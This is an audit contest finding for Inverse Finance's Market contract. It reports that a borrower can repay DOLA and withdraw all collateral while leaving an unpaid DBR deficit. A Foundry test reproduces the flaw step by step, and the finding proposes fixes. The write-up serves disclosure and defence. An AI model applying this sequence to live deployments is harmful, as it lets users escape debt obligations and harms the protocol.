Inverse Finance contest - sam_cunningham's results

Lines of code

https://github.com/code-423n4/2022-10-inverse/blob/main/src/Market.sol#L472 https://github.com/code-423n4/2022-10-inverse/blob/main/src/Market.sol#L460

Vulnerability details

Impact

This finding shows that it's possible for a borrower of DOLA to create bad debt (deficit) in the DBR and still remove his collateral without any monetary punishment. This is not a critical error as no new DOLA are created without collateral, it seems to only affect the DBR token. It's also a 'gamble' for the attacker as whenever they are in deficit a forceReplenish can be called upon them. My test assumes that no such thing happens.

Proof of Concept

I've made test in market.t.sol to show you how you can reproduce this:

contract MarketTest is FiRMTest {

    ...

    function testWithdraw_Mal() public {
        gibWeth(user, wethTestAmount); // Give user collateral

        vm.startPrank(user);
        WETH.approve(address(market), wethTestAmount);  // Approve the market to spend our precious wrapped ether collateral
        uint balanceUserBefore = WETH.balanceOf(user); 
        assertEq(balanceUserBefore, 1 ether);    // Expected: 1 ether

        uint initialDolaBalance = DOLA.balanceOf(user); // expected: 0
        assertEq(initialDolaBalance, 0);

        uint borrowAmount = getMaxBorrowAmount(wethTestAmount); // Find out how much DOLA our collateral allows us to borrow. 
        assertTrue(borrowAmount > 0); // Users collateral makes him eligible to borrow greater than zero DOLA. 
        market.depositAndBorrow(wethTestAmount, borrowAmount);  // Make the deposit and borrow.
        assertEq(DOLA.balanceOf(user), borrowAmount);  // We now have DOLA
        assertEq(dbr.debts(user), DOLA.balanceOf(user)); // DBR debt =  borrowed DOLA amount
        assertEq(dbr.deficitOf(user), 0); // Currently no deficit

        // We will now create some deficit in our DBR by letting some time pass.

        // We'll run a loop for 5 days just to 'prove' that the deficit increase
        for (uint i = 0; i < 5; i++){
            uint prevDeficit = dbr.deficitOf(user);
            vm.warp(block.timestamp + 1 days);
            uint currDeficit = dbr.deficitOf(user);
            assertTrue(currDeficit > prevDeficit);
        }


        // Let's get user market.debts
        uint debt = market.debts(user);
        assertEq(debt, DOLA.balanceOf(user)); // DBR debt =  borrowed DOLA amount

        market.repay(user, debt);        // Repay user debt
        market.withdraw(wethTestAmount); // WIthdraw our collateral
        assertEq(WETH.balanceOf(user), wethTestAmount); //User got 100% of collateral back.


        uint deficit = dbr.deficitOf(user); // Let's check user's deficit now that we have repaid loan and gotten 100% of his collateral back.
        console2.log("user deficit: %s", deficit);
        assertEq(deficit, 0); // This fails because deficit is not zero. Which it should be. This leaves DBR with bad debt and no incentives for a user to pay it.
    }
 
   ...

}

src/test/Market.t.sol

As can be seen in the test. This test won't pass because deficitOf(user) is not zero after withdrawal, as you would have expected.

Tools Used

Foundry, solidity

Recommended Mitigation Steps

Either have a softWithdrawal method that will fail for the user when dbr is in deficit. Or a harder solution is to call forceReplenish in withdrawal if theres is a dbr deficit and just settle the debt that way.